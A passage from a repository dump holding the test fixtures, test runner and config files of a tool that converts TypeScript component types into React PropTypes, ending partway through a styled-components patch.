    "content": "type Type = 'one' | 'two' | 'three'\n\ninterface ParentProps<T extends Type> {\n  optionalType?: T;\n  requiredType: T\n}\n\ninterface ChildProps extends ParentProps<'one' | 'two'> {}\n\nexport function Foo(props: ChildProps): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/generic/output.js",
    "content": "Foo.propTypes = {\n  optionalType: PropTypes.oneOf(['one', 'two']),\n  requiredType: PropTypes.oneOf(['one', 'two']).isRequired,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/genericUnion/input.tsx",
    "content": "import * as React from 'react';\n\ntype PieValueType = string;\n\nexport interface PieSeriesType<Tdata = PieValueType> {\n  type: 'pie';\n  data: Tdata[];\n}\n\ntype LineValueType = number;\n\nexport interface LineSeriesType<Tdata = LineValueType> {\n  type: 'line';\n  data: Tdata[];\n}\n\ninterface Config {\n  pie: { series: PieSeriesType };\n  line: { series: LineSeriesType };\n}\n\ntype ChartSeries<T extends 'line' | 'pie'> = Config[T]['series'];\n\ninterface Props<T extends 'line' | 'pie' = 'line' | 'pie'> {\n  series: ChartSeries<T>;\n}\n\nexport default function Grid(props: Props) {\n  const { series } = props;\n  return <div>{series.type}</div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/genericUnion/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Grid(props) {\n  const { series } = props;\n  return <div>{series.type}</div>;\n}\n\nGrid.propTypes = {\n  series: PropTypes.oneOfType([\n    PropTypes.shape({\n      data: PropTypes.arrayOf(PropTypes.number).isRequired,\n      type: PropTypes.oneOf(['line']).isRequired,\n    }),\n    PropTypes.shape({\n      data: PropTypes.arrayOf(PropTypes.string).isRequired,\n      type: PropTypes.oneOf(['pie']).isRequired,\n    }),\n  ]).isRequired,\n};\n\nexport default Grid;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/getThemeProps/input.d.ts",
    "content": "import * as React from 'react';\n\nexport default function Modal(props: React.HTMLAttributes<HTMLDivElement>): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/getThemeProps/input.js",
    "content": "export default function Modal(inProps) {\n  const props = getThemeProps({ props: inProps });\n  const { onKeyDown, ...other } = props;\n\n  function handleKeyDown(event) {\n    if (onKeyDown) {\n      onKeyDown(event);\n    }\n  }\n\n  return <div onKeyDown={handleKeyDown} {...other} />;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/getThemeProps/output.js",
    "content": "import PropTypes from 'prop-types';\nfunction Modal(inProps) {\n  const props = getThemeProps({ props: inProps });\n  const { onKeyDown, ...other } = props;\n\n  function handleKeyDown(event) {\n    if (onKeyDown) {\n      onKeyDown(event);\n    }\n  }\n\n  return <div onKeyDown={handleKeyDown} {...other} />;\n}\n\nModal.propTypes = {\n  onKeyDown: PropTypes.func,\n};\n\nexport default Modal;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-all-props-ignored/input.tsx",
    "content": "export function Foo(props: { className: string }) {\n  return <div className={props.className}></div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-all-props-ignored/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    shouldInclude() {\n      return false;\n    },\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-all-props-ignored/output.js",
    "content": "export function Foo(props) {\n  return <div className={props.className}></div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-should-include-component-based/input.tsx",
    "content": "import * as React from 'react';\n\nexport interface SnackBarProps {\n  /**\n   * Some hints about why this is useful\n   */\n  id?: string;\n  /**\n   * some prop that is inherited which we don't care about here\n   */\n  onChange?: () => void;\n}\n\nexport function Snackbar(props: SnackBarProps) {\n  return <div {...props} />;\n}\n\nexport function SomeOtherComponent(props: { id?: string }) {\n  return <div {...props} />;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-should-include-component-based/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    shouldInclude({ component, prop }) {\n      if (component.name === 'Snackbar' && prop.name === 'id') {\n        return true;\n      }\n    },\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-should-include-component-based/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Snackbar(props) {\n  return <div {...props} />;\n}\n\nSnackbar.propTypes = {\n  /**\n   * Some hints about why this is useful\n   */\n  id: PropTypes.string,\n};\n\nexport { Snackbar };\nexport function SomeOtherComponent(props) {\n  return <div {...props} />;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-should-include-filename-based/input.tsx",
    "content": "import * as React from 'react';\n\n// it's technically not correct since this describes props the component\n// sees not just the one available to the user. We're abusing this to provide\n// some concrete documentation for `key` regarding this component\nexport interface SnackBarProps extends React.HTMLAttributes<any> {\n  /**\n   * some hints about state reset that relates to prop of this component\n   */\n  key?: any;\n}\n\nexport function Snackbar(props: SnackBarProps) {\n  return <div {...props} />;\n}\n\n// here we don't care about `key`\nexport function SomeOtherComponent(props: { children?: React.ReactNode }) {\n  return <div>{props.children}</div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-should-include-filename-based/options.ts",
    "content": "import * as path from 'path';\nimport { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    includeUnusedProps: true,\n    shouldInclude: ({ prop }) => {\n      let isLocallyTyped = false;\n      prop.filenames.forEach((filename) => {\n        if (!path.relative(__dirname, filename).startsWith('..')) {\n          isLocallyTyped = true;\n        }\n      });\n      return isLocallyTyped;\n    },\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-should-include-filename-based/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Snackbar(props) {\n  return <div {...props} />;\n}\n// here we don't care about `key`\n\nSnackbar.propTypes = {\n  /**\n   * some hints about state reset that relates to prop of this component\n   */\n  key: () => null,\n};\n\nexport { Snackbar };\nfunction SomeOtherComponent(props) {\n  return <div>{props.children}</div>;\n}\n\nSomeOtherComponent.propTypes = {\n  children: PropTypes.node,\n};\n\nexport { SomeOtherComponent };\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-string-props/input.tsx",
    "content": "export default function Dialog(props: { 'aria-describedby': string }) {\n  const { 'aria-describedby': ariaDescribedby } = props;\n  return <div></div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-string-props/output.js",
    "content": "import PropTypes from 'prop-types';\nfunction Dialog(props) {\n  const { 'aria-describedby': ariaDescribedby } = props;\n  return <div></div>;\n}\n\nDialog.propTypes = {\n  'aria-describedby': PropTypes.string.isRequired,\n};\n\nexport default Dialog;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-whitelisted-props/input.tsx",
    "content": "export default function Foo(props: { className: string }) {\n  return <div {...props}></div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-whitelisted-props/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    shouldInclude() {\n      return true;\n    },\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/injector-whitelisted-props/output.js",
    "content": "import PropTypes from 'prop-types';\nfunction Foo(props) {\n  return <div {...props}></div>;\n}\n\nFoo.propTypes = {\n  className: PropTypes.string.isRequired,\n};\n\nexport default Foo;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/interfaceUnion/input.tsx",
    "content": "import * as React from 'react';\n\ntype PieValueType = string;\n\nexport interface PieSeriesType<Tdata = PieValueType> {\n  type: 'pie';\n  data: Tdata[];\n}\n\ninterface PieSeriesType2 {\n  type: 'pie';\n  data: string[];\n}\n\ntype LineValueType = number;\n\nexport interface LineSeriesType<Tdata = LineValueType> {\n  type: 'line';\n  data: Tdata[];\n}\n\ntype ChartSeries = PieSeriesType | LineSeriesType;\n\ninterface Props {\n  series: ChartSeries;\n  pieSeries: PieSeriesType | PieSeriesType2;\n}\n\nexport default function Grid(props: Props) {\n  const { series, pieSeries } = props;\n  return <div>{series.type}</div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/interfaceUnion/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Grid(props) {\n  const { series, pieSeries } = props;\n  return <div>{series.type}</div>;\n}\n\nGrid.propTypes = {\n  pieSeries: PropTypes.shape({\n    data: PropTypes.arrayOf(PropTypes.string).isRequired,\n    type: PropTypes.oneOf(['pie']).isRequired,\n  }).isRequired,\n  series: PropTypes.oneOfType([\n    PropTypes.shape({\n      data: PropTypes.arrayOf(PropTypes.string).isRequired,\n      type: PropTypes.oneOf(['pie']).isRequired,\n    }),\n    PropTypes.shape({\n      data: PropTypes.arrayOf(PropTypes.number).isRequired,\n      type: PropTypes.oneOf(['line']).isRequired,\n    }),\n  ]).isRequired,\n};\n\nexport default Grid;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/jsdoc-interface/classes.ts",
    "content": "export interface Classes {\n  /**\n   * root description\n   */\n  root: string;\n  /**\n   * slot description\n   */\n  slot: string;\n}\n\nconst classes: Classes = { root: 'root', slot: 'slot' };\n\nexport default classes;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/jsdoc-interface/input.tsx",
    "content": "import * as React from 'react';\nimport type { Classes } from './classes';\n\ninterface Props {\n  /**\n   * the classes\n   */\n  classes?: Partial<Classes>;\n}\n\nexport default function Component(props: Props) {\n  const { classes } = props;\n\n  return (\n    <ul>\n      <li>root: {classes?.root}</li>\n      <li>slot: {classes?.slot}</li>\n    </ul>\n  );\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/jsdoc-interface/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Component(props) {\n  const { classes } = props;\n  return (\n    <ul>\n      <li>root: {classes?.root}</li>\n      <li>slot: {classes?.slot}</li>\n    </ul>\n  );\n}\n\nComponent.propTypes = {\n  /**\n   * the classes\n   */\n  classes: PropTypes.shape({\n    root: PropTypes.string,\n    slot: PropTypes.string,\n  }),\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/literal-autocomplete/input.d.ts",
    "content": "import * as React from 'react';\n\nexport interface ComponentProps {\n  color?: 'primary' | 'secondary' | 'error' | (string & {});\n  variant: 'text' | 'outlined' | 'contained' | (string & {});\n}\n\nexport default function Component(props: ComponentProps): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/literal-autocomplete/output.js",
    "content": "Component.propTypes = {\n  color: PropTypes.string,\n  variant: PropTypes.string.isRequired,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/mixed-literals/input.tsx",
    "content": "interface GridProps {\n  spacing?: 'initial' | 1 | 2 | 3 | 4 | 5 | 'auto';\n}\n\nexport default function Grid(props: GridProps) {\n  const { spacing } = props;\n  return <div>spacing: {spacing}</div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/mixed-literals/output.js",
    "content": "import PropTypes from 'prop-types';\nfunction Grid(props) {\n  const { spacing } = props;\n  return <div>spacing: {spacing}</div>;\n}\n\nGrid.propTypes = {\n  spacing: PropTypes.oneOf(['auto', 'initial', 1, 2, 3, 4, 5]),\n};\n\nexport default Grid;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/omit-conditional/input.d.ts",
    "content": "type TextFieldProps<A extends boolean> = A extends true ? { testProp: string } : { testProp: boolean }\n\ntype Props<A extends boolean = false> = Omit<TextFieldProps<A>, 'b'>\n\nexport function Foo<A extends boolean = false>(props: Props<A>): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/omit-conditional/output.js",
    "content": "Foo.propTypes = {\n  testProp: PropTypes.oneOfType([PropTypes.string, PropTypes.bool]).isRequired,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/options-test/input.tsx",
    "content": "type DeepOptions = {\n  PropB: string;\n};\n\ntype Options = {\n  /**\n   * This jsdoc will be ignored\n   */\n  PropA: string;\n  TestProps: DeepOptions;\n};\n\nexport default function Foo(props: Options) {\n  const { PropA, TestProps } = props;\n  return <div></div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/options-test/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  parser: {\n    shouldResolveObject({ name }) {\n      if (name.endsWith('Props')) {\n        return false;\n      }\n      return true;\n    },\n  } as TestOptions['parser'],\n  injector: {\n    includeJSDoc: false,\n    comment: 'Proptypes generated automatically',\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/options-test/output.js",
    "content": "import PropTypes from 'prop-types';\nfunction Foo(props) {\n  const { PropA, TestProps } = props;\n  return <div></div>;\n}\n\nFoo.propTypes = {\n  // Proptypes generated automatically\n  PropA: PropTypes.string.isRequired,\n  TestProps: PropTypes.object.isRequired,\n};\n\nexport default Foo;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/overloaded-function-component/input.d.ts",
    "content": "import * as React from 'react';\n\ninterface ButtonProps {\n  variant?: string;\n}\n\ninterface Component<C extends React.ElementType = 'div'> {\n  (props: ButtonProps): React.JSX.Element;\n  (props: { component: C } & ButtonProps): React.JSX.Element;\n}\n\n// a component using overloading and intersection of function signature\ndeclare const ButtonBase: Component & ((props: { href: string } & ButtonProps) => React.JSX.Element);\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/overloaded-function-component/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  parser: {\n    checkDeclarations: true,\n  } as TestOptions['parser'],\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/overloaded-function-component/output.js",
    "content": "ButtonBase.propTypes = {\n  component: PropTypes.elementType,\n  href: PropTypes.string,\n  variant: PropTypes.string,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/partial-any-props/input.d.ts",
    "content": "type Props = {\n  foo: any;\n};\n\nexport default function Foo(props: Partial<Props>): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/partial-any-props/output.js",
    "content": "Foo.propTypes = {\n  foo: PropTypes.any,\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/propTypes-casting/input.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\n// empty props are likely a mistake.\n// We want to make sure we catch this instead of keeping .propTypes\nexport default function Component(props: {}): React.JSX.Element {\n  return <div />;\n}\n\nComponent.propTypes = {\n  foo: PropTypes.string.isRequired,\n} as any;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/propTypes-casting/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n// empty props are likely a mistake.\n// We want to make sure we catch this instead of keeping .propTypes\nexport default function Component(props) {\n  return <div />;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/reconcile-prop-types/input.d.ts",
    "content": "import * as React from 'react';\n\ninterface Props {\n  children?: React.ReactNode;\n}\n\nexport default function Component(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/reconcile-prop-types/input.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { chainPropTypes } from 'some-utils-module';\n\nfunction Component(props) {\n  const { children } = props;\n  return (\n    <button>\n      <span>{children}</span>\n    </button>\n  );\n}\n\nComponent.propTypes = {\n  children: chainPropTypes(PropTypes.node.isRequired, (props) => {\n    const summary = React.Children.toArray(props.children)[0];\n    if (isFragment(summary)) {\n      return new Error('Not accepting Fragments');\n    }\n\n    if (!React.isValidElement(summary)) {\n      return new Error('First child must be an element');\n    }\n\n    return null;\n  }),\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/reconcile-prop-types/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    reconcilePropTypes: (prop, previous: any, generated) => {\n      const isCustomValidator = previous !== undefined && !previous.startsWith('PropTypes');\n\n      if (isCustomValidator) {\n        return previous;\n      }\n      return generated;\n    },\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/reconcile-prop-types/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { chainPropTypes } from 'some-utils-module';\n\nfunction Component(props) {\n  const { children } = props;\n  return (\n    <button>\n      <span>{children}</span>\n    </button>\n  );\n}\n\nComponent.propTypes = {\n  children: chainPropTypes(PropTypes.node.isRequired, (props) => {\n    const summary = React.Children.toArray(props.children)[0];\n    if (isFragment(summary)) {\n      return new Error('Not accepting Fragments');\n    }\n\n    if (!React.isValidElement(summary)) {\n      return new Error('First child must be an element');\n    }\n\n    return null;\n  }),\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/remove-proptypes/input.tsx",
    "content": "import * as React from 'react';\n\ninterface Props {\n  /**\n   * UI to render\n   */\n  children?: React.ReactNode;\n}\n\nexport default function Component(props: Props) {\n  return <div>{props.children}</div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/remove-proptypes/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    ensureBabelPluginTransformReactRemovePropTypesIntegration: true,\n    includeUnusedProps: true,\n  },\n  parser: {\n    checkDeclarations: true,\n  } as TestOptions['parser'],\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/remove-proptypes/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Component(props) {\n  return <div>{props.children}</div>;\n}\n\nComponent.propTypes /* remove-proptypes */ = {\n  /**\n   * UI to render\n   */\n  children: PropTypes.node,\n};\n\nexport default Component;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/sort-unions/input.d.ts",
    "content": "type Breakpoint = 'xs' | 'md' | 'xl';\n\nexport interface Props {\n  /**\n   * will be sorted alphanumeric\n   */\n  color?: 'inherit' | 'default' | 'primary' | 'secondary';\n  /**\n   * will be sorted by viewport size descending\n   */\n  only?: Breakpoint | Breakpoint[];\n}\n\nexport default function Hidden(props: Props): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/sort-unions/input.js",
    "content": "import * as React from 'react';\n\nexport default function Hidden(props) {\n  const { color, only } = props;\n\n  return <div color={color} hidden={only !== 'xs'} />;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/sort-unions/options.ts",
    "content": "import { TestOptions } from '../types';\n\nconst options: TestOptions = {\n  injector: {\n    getSortLiteralUnions: (component, propTypeDefinition) => {\n      if (component.name === 'Hidden' && propTypeDefinition.name === 'only') {\n        return (a, b) => {\n          // descending here to check that we actually change the order of the typings\n          // It's unclear why TypeScript changes order of union members sometimes so we need to be sure\n          const breakpointOrder: unknown[] = ['\"xl\"', '\"md\"', '\"xs\"'];\n\n          return breakpointOrder.indexOf(a.value) - breakpointOrder.indexOf(b.value);\n        };\n      }\n      // default sort\n      return undefined;\n    },\n  },\n};\n\nexport default options;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/sort-unions/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nfunction Hidden(props) {\n  const { color, only } = props;\n\n  return <div color={color} hidden={only !== 'xs'} />;\n}\n\nHidden.propTypes = {\n  /**\n   * will be sorted alphanumeric\n   */\n  color: PropTypes.oneOf(['default', 'inherit', 'primary', 'secondary']),\n  /**\n   * will be sorted by viewport size descending\n   */\n  only: PropTypes.oneOfType([\n    PropTypes.oneOf(['xl', 'md', 'xs']),\n    PropTypes.arrayOf(PropTypes.oneOf(['xl', 'md', 'xs']).isRequired),\n  ]),\n};\n\nexport default Hidden;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/testSetup.js",
    "content": "require('@babel/register')({ extensions: ['.js', '.ts'] });\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/type-unknown/input.tsx",
    "content": "export default function Select(props: { value?: unknown; variant: unknown }) {\n  const { value, variant } = props;\n  return <div></div>;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/type-unknown/output.js",
    "content": "import PropTypes from 'prop-types';\nfunction Select(props) {\n  const { value, variant } = props;\n  return <div></div>;\n}\n\nSelect.propTypes = {\n  value: PropTypes.any,\n  variant: PropTypes.any.isRequired,\n};\n\nexport default Select;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/types.d.ts",
    "content": "import {\n  InjectPropTypesInFileOptions,\n  GetPropTypesFromFileOptions,\n  GeneratePropTypesOptions,\n} from '../src';\n\nexport type TestOptions = {\n  parser?: GetPropTypesFromFileOptions;\n  generator?: GeneratePropTypesOptions;\n  injector?: InjectPropTypesInFileOptions;\n};\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/typescript-to-proptypes.test.ts",
    "content": "/// <reference types=\"vite/client\" />\nimport path from 'path';\nimport fs from 'fs';\nimport * as ts from 'typescript';\nimport { expect } from 'chai';\nimport glob from 'fast-glob';\nimport prettier from 'prettier';\nimport { TypeScriptProject, createTypeScriptProjectBuilder } from '@mui/internal-docs-utils';\nimport { generatePropTypes } from '../src/generatePropTypes';\nimport { injectPropTypesInFile } from '../src/injectPropTypesInFile';\nimport { getPropTypesFromFile } from '../src/getPropTypesFromFile';\nimport { TestOptions } from './types';\n\nconst testCases = glob\n  .sync('*/input.{d.ts,ts,tsx}', { absolute: true, cwd: __dirname })\n  .map((testPath) => {\n    const dirname = path.dirname(testPath);\n    const name = path.dirname(path.relative(__dirname, testPath));\n    const outputPath = path.join(dirname, 'output.js');\n    const inputJS = path.join(dirname, 'input.js');\n\n    return {\n      inputJS,\n      name,\n      outputPath,\n      inputPath: testPath,\n    };\n  });\n\ndescribe('typescript-to-proptypes', () => {\n  let cachedProject: TypeScriptProject;\n  function getProject() {\n    return cachedProject;\n  }\n\n  beforeAll(function beforeHook() {\n    const buildProject = createTypeScriptProjectBuilder({\n      test: {\n        rootPath: path.join(__dirname, '..'),\n        tsConfigPath: 'tsconfig.test.json',\n      },\n    });\n\n    cachedProject = buildProject('test', {\n      files: testCases.map((testCase) => testCase.inputPath),\n    });\n\n    // Create program for all files to speed up tests\n    // cachedProject = ttp.createTSProgram(\n    //   testCases.map((testCase) => testCase.inputPath),\n    //   ttp.loadConfig(path.resolve(__dirname, '../tsconfig.json')),\n    // );\n  }, 20000);\n\n  testCases.forEach((testCase) => {\n    const { name: testName, inputPath, inputJS, outputPath } = testCase;\n\n    it(`${testName}`, async () => {\n      const project = getProject();\n      let options: TestOptions = {};\n      try {\n        const optionsModule: any = await import(`./${testName}/options.ts`);\n        options = optionsModule.default;\n      } catch (error) {\n        // Assume \"Cannot find module\" which means \"no options\".\n      }\n\n      const components = getPropTypesFromFile({ filePath: inputPath, project, ...options.parser });\n\n      let inputSource: string | null = null;\n      if (inputPath.endsWith('.d.ts')) {\n        try {\n          inputSource = fs.readFileSync(inputJS, 'utf8');\n        } catch (error) {\n          // ignore\n        }\n      } else {\n        inputSource = ts.transpileModule(fs.readFileSync(inputPath, 'utf8'), {\n          compilerOptions: {\n            target: ts.ScriptTarget.ESNext,\n            jsx: ts.JsxEmit.Preserve,\n          },\n        }).outputText;\n      }\n\n      let result = '';\n      // For d.ts files we just generate the AST\n      if (!inputSource) {\n        result = components\n          .map((component) => {\n            return generatePropTypes(component, options.generator);\n          })\n          .join('\\n');\n      } else {\n        // For .tsx? files we transpile them and inject the proptypes\n        const injected = injectPropTypesInFile({\n          components,\n          target: inputSource,\n          options: options.injector,\n        });\n        if (!injected) {\n          throw new Error('Injection failed');\n        }\n\n        result = injected;\n      }\n\n      const prettierConfig = await prettier.resolveConfig(outputPath);\n      const propTypes = await prettier.format(result, {\n        ...prettierConfig,\n        filepath: outputPath,\n      });\n\n      if (fs.existsSync(outputPath)) {\n        expect(propTypes.replace(/\\r?\\n/g, '\\n')).to.equal(\n          fs.readFileSync(outputPath, 'utf8').replace(/\\r?\\n/g, '\\n'),\n        );\n      } else {\n        fs.writeFileSync(outputPath, propTypes);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/union-props/input.d.ts",
    "content": "export interface BaseProps {\n  value?: unknown;\n}\n\nexport interface StandardProps extends BaseProps {\n  variant?: 'standard';\n}\n\nexport interface OutlinedProps extends BaseProps {\n  variant: 'outlined';\n}\n\nexport interface FilledProps extends BaseProps {\n  variant: 'filled';\n}\n\nexport type TextFieldProps = StandardProps | OutlinedProps | FilledProps;\n\nexport default function TextField(props: TextFieldProps): React.JSX.Element;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/union-props/input.js",
    "content": "import * as React from 'react';\n\nexport default function TextField(props) {\n  const { value, variant } = props;\n\n  return (\n    <React.Fragment>\n      {variant}: <input value={value} />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/union-props/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nfunction TextField(props) {\n  const { value, variant } = props;\n\n  return (\n    <React.Fragment>\n      {variant}: <input value={value} />\n    </React.Fragment>\n  );\n}\n\nTextField.propTypes = {\n  value: PropTypes.any,\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nexport default TextField;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/unused-prop/input.tsx",
    "content": "import * as React from 'react';\n\ntype Props = {\n  foo: string;\n  bar: string;\n  baz: string;\n};\n\nexport default function Foo(props: Props) {\n  const { foo, ...other } = props;\n\n  return (\n    <div className={props.bar} {...other}>\n      {foo}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/test/unused-prop/output.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nfunction Foo(props) {\n  const { foo, ...other } = props;\n  return (\n    <div className={props.bar} {...other}>\n      {foo}\n    </div>\n  );\n}\n\nFoo.propTypes = {\n  bar: PropTypes.string.isRequired,\n  foo: PropTypes.string.isRequired,\n};\n\nexport default Foo;\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/tsconfig.json",
    "content": "{\n  \"extends\": \"../tsconfig.base.json\",\n  \"compilerOptions\": {\n    \"rootDir\": \"./src\",\n    \"outDir\": \"../build/typescript-to-proptypes\",\n    \"tsBuildInfoFile\": \"../build/typescript-to-proptypes/.tsbuildinfo\"\n  },\n  \"include\": [\"./src/*\"]\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/tsconfig.test.json",
    "content": "{\n  \"compilerOptions\": {\n    \"noEmit\": true,\n    \"types\": [\"node\", \"vitest/globals\"],\n    \"strict\": true,\n    \"esModuleInterop\": true,\n    \"isolatedModules\": true\n  },\n  \"include\": [\"./src/*.ts\", \"./test/*.ts\"],\n  \"references\": [{ \"path\": \"../../docs-utils/tsconfig.build.json\" }]\n}\n"
  },
  {
    "path": "packages-internal/scripts/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages-internal/test-utils/src/reactMajor.ts",
    "content": "import * as React from 'react';\n\nconst [reactMajor, reactMinor] = React.version.split('.').map((n) => parseInt(n, 10));\n\nexport default reactMajor;\nexport { reactMajor, reactMinor };\n"
  },
  {
    "path": "patches/styled-components.patch",
    "content": "diff --git a/dist/hoc/withTheme.d.ts b/dist/hoc/withTheme.d.ts\nindex ccc495498f5088f8985ea715a3874b145b54c6ef..a63a1c69a95785c8e916b6b7e8257f0012bf8f4c 100644\n--- a/dist/hoc/withTheme.d.ts\n+++ b/dist/hoc/withTheme.d.ts\n@@ -1,3 +1,4 @@\n import React from 'react';\n import { AnyComponent, ExecutionProps } from '../types';\n-export default function withTheme<T extends AnyComponent>(Component: T): React.ForwardRefExoticComponent<React.PropsWithoutRef<JSX.LibraryManagedAttributes<T, ExecutionProps>> & React.RefAttributes<T>> & { [key in Exclude<keyof T, T extends React.MemoExoticComponent<any> ? \"propTypes\" | \"defaultProps\" | \"displayName\" | \"$$typeof\" | \"type\" | \"compare\" : T extends React.ForwardRefExoticComponent<any> ? \"propTypes\" | \"defaultProps\" | \"displayName\" | \"$$typeof\" | \"render\" : \"length\" | \"propTypes\" | \"contextType\" | \"contextTypes\" | \"childContextTypes\" | \"defaultProps\" | \"displayName\" | \"getDerivedStateFromProps\" | \"getDerivedStateFromError\" | \"name\" | \"type\" | \"getDefaultProps\" | \"mixins\" | \"prototype\" | \"caller\" | \"callee\" | \"arguments\" | \"arity\">]: T[key]; };\n+\n+export default function withTheme<T 